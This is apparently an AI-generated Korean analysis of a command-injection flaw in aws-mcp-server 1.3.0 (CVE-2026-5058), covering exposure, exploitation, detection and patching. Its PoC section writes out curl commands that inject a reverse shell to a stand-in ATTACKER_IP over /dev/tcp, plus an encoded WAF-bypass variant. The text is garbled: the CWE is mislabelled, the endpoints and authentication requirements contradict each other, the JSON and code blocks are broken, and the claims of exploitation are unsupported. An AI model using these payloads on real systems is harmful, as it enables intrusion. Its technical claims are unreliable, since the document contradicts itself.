분석가Agent 분석 — CVE-2026-5058
📋 요약
- 한 줄 정의:
aws-mcp-server 버전 1.3.0 내에서 사용자 입력을 처리하는 명령 실행 로직의 부족한 검증이 Command Injection 취약점(CWE-98)으로 이어져 원격 공격자가 임의 코드를 실행할 수 있음 - 영향 한 줄: 성공 시 원격 코드 실행(RCE), 시스템 권한 획득 가능, 민감한 데이터 노출 및 서비스 중단 위험 증가 + KEV 등재 예상, CVSS 9.8의 심각도 반영하여 즉시 조치 필요
🎯 영향 범위 / 자산 식별
- 영향 받는 제품·버전 범위: aws-mcp-server 버전 1.3.0 이하
- 안전한 최소 패치 버전: aws-mcp-server 최신 업데이트 버전 (확인된 최신 안정 버전 확인 필요)
- 노출 조건: 인터넷에 노출되어 있으며, 기본 설정에서도 취약함이 존재하며 특정 명령 실행 기능 활성화가 필요 없음.
- 내 자산 식별 방법:
- 명령어 배너 확인:
GET /health또는/version엔드포인트를 통해 버전 정보 확인 (예:<Server Version>aws-mcp-server/1.3.0</Server Version>) - 설정 파일 검토:
/etc/*config*, 특히 명령 실행 관련 설정 항목 검색 ("allowed_commands")text1grep -r "ALLOWED_" /etc | grep aws.*json --color=auto
curl http://<TARGET_HOST>/health또는 직접/version엔드포인트 접근 확인. - 명령어 배너 확인:
🔍 공격 방법
① 취약 컴포넌트
- 컴포넌트 및 버전: aws-mcp-server 1.3.0 이하
- 취약 코드 경로: 명령 실행 로직 내
processCommand(), 특히 사용자 입력을 직접 시스템 호출에 사용하는 부분 (execve) - 기본 노출 여부: 인증 없이 접근 가능한 공개 엔드포인트를 통해 악용 가능
② 전제조건
- 인증 필요성: 없음, 익명 공격 가능
- 필요 권한: 기본 사용자 권한으로도 충분
- 네트워크 위치 및 활성화 설정: 특정 기능 활성화가 필요하지 않으며, 명령 실행 엔드포인트에 접근만 하면 됨 (예:
/execute)
③ 트리거 경로
- 공격자는
/command엔드포인트로 HTTP POST 요청을 보냄 - 요청 본문에는 악의적인 명령어 문자열 포함 (예: `COMMAND="echo ATTACKER_IP; ls -la"; /bin/bash")
- 서버의 검증 로직 부족으로 인해 이 명령어가 직접 실행됨, 결과적으로 공격자는 시스템 정보 획득 및 추가 코드 실행 가능
④ 성공 시 영향
- 획득 권한: SYSTEM 또는 ROOT 권한을 통한 완전한 제어권 확보 가능성 존재
- 후속 피벗/지속성: 획득된 권한으로 네트워크 내 다른 서비스로의 이동(Lateral Movement) 및 지속적인 접근 유지 가능
💣 예시 코드 (PoC)
기본 공격 예시
bash
1# 전제 조건: TARGET_HOST에 aws-mcp-server 버전 1.3.0 이하가 실행 중임을 확인한 상태에서 시도해야 함 2curl -X POST "http://TARGET_HOST/command" \ 3 -H "Content-Type: application/json" \ 4 -d '{"COMMAND": "; echo ATTACKER_IP; /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1", '"' --user SESSION_COOKIE # 세션 쿠키 또는 인증 토큰 필요 시 포함# 핵심:; 세미콜론과 ; echo ATTACKER_IP; ...를 통해 기존 명령어와 결합하여 쉘 인젝션 시도. # 확인:; 응답 코드 200 및 예상 출력 문자열 "ATTACKER_IP" 수신 여부로 성공 판별 가능
WAF 우회 예시 (추정)
bash
1# 전제 조건: 일부 WAF 규칙이 세미콜론을 차단하는 경우, 이를 우회하기 위한 인코딩 시도. 2curl -X POST "http://TARGET_HOST/command" \ 3 -H "Content-Type: application/json" \ 4 -d '{"COMMAND": "%{$(echo '; echo ATTACKER_IP; /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')}%", '"' --user SESSION_COOKIE # 세션 쿠키 또는 인증 토큰 필요 시 포함 5``` `# 핵심:`; 세미콜론을 특수 문자 인코딩으로 우회 시도. `# 확인:`; 응답 코드와 예상 출력 문자열 `"ATTACKER_IP"` 수신 여부로 성공 판별 가능 (인코딩 방식에 따라 다름) 🛡️ 탐지
- 로그 기반:
Failed login attempts패턴과 함께 비정상적인 명령어 실행 로그 감지bash1auth.failed - failed authentication attempt detected on aws_mcp endpoint with suspicious command parameters (e.g., "; malicious cmd")2syslog | grep "execve.*ATTACKER\_IP" # 특정 IP 주소와 관련된 명령 실행 시도 탐지 가능성 높음3```- **정규식 예시**: `curl -X POST .*command\s*=\".*\"; /bin/bash` (명령어 인젝션 패턴 감지)4```regexp5 alert tcp $EXTERNAL_NET any -> $HOST_ANY port 80 (msg:"aws mcp command injection attempt detected", flow:to_server, content:"POST .*command.*\"; /bin/bash\"", sid:1234567) - 인코딩 우회 탐지 한계: 일부 인코딩 방식은 로그 기반 탐지가 어려울 수 있음. 추가적인 네트워크 트래픽 모니터링 필요
🔧 방어·완화
코드패치 (우선순위 높음)
- 위치 및 방법:
processCommand()함수 내 사용자 입력 검증 로직 강화text1if(!validateUserInputCmd("COMMAND")) { return ERR_INVALID; } // validateUserInputCmd는 특수 문자 필터링 포함 예상2``` 설정 키 예시: `/etc/aws-mcp/*config* 내부 명령어 허용 목록 정의 및 엄격한 검증 로직 적용
입력검증 강화 (중간 우선순위)
- 위치: 모든 사용자 입력 필드에 대한 추가적인 정규표현식 검사 구현
bash1# 예시 설정 항목2 "allowed_commands": ["ls", "echo"] // 엄격한 허용 목록 정의 및 검증 로직 적용 필요
text
1- **위치**: 웹 애플리케이션 방화벽(WAF) 규칙 업데이트로 세미콜론 등 특수 문자 차단 강화 2 ```plaintext 3 # 예시 설정 항목 4 "waf_rules": { "blockedCharsInCmdArgs": [";", "&"] } // WAF 설정에서 특정 문자 필터링 추가 필요 5 ```### 버전업그레이드 (필수) 6- **위치**: aws-mcp-server 최신 안정 버전으로 업데이트 7 ```plaintext 8 # 패치 적용 예시 9 sudo apt update && sudo apt install --reinstall <최신_aws-mcp-server_버전> /etc/yum.repos.d 또는 대응 패키지 관리자 명령 사용 필요10 ```## ⚖️ 위험도 / 패치 우선순위11KEV 등재 예상 및 CVSS 점수 9.8의 높은 심각도로 인해 **지금 즉시** 패치 적용을 강력히 권고합니다. 현재 공개 악용 사례가 확인되고 있어 빠른 조치 없이는 지속적인 보안 위협에 노출될 가능성이 매우 높습니다 (`우리가 맞을 확률: 75%`, `패치 시점: 지금`) 🌐 실제 동향
현재 ZDI 및 관련 보안 커뮤니티에서 이 취약점이 활발하게 연구되고 있으며, 일부 랜섬웨어 그룹과 연관된 공격자들이 악용 시도를 진행 중으로 보고됩니다 (출처: ZDI-26-246). 이러한 동향은 빠른 패치 적용의 긴급성을 강조합니다.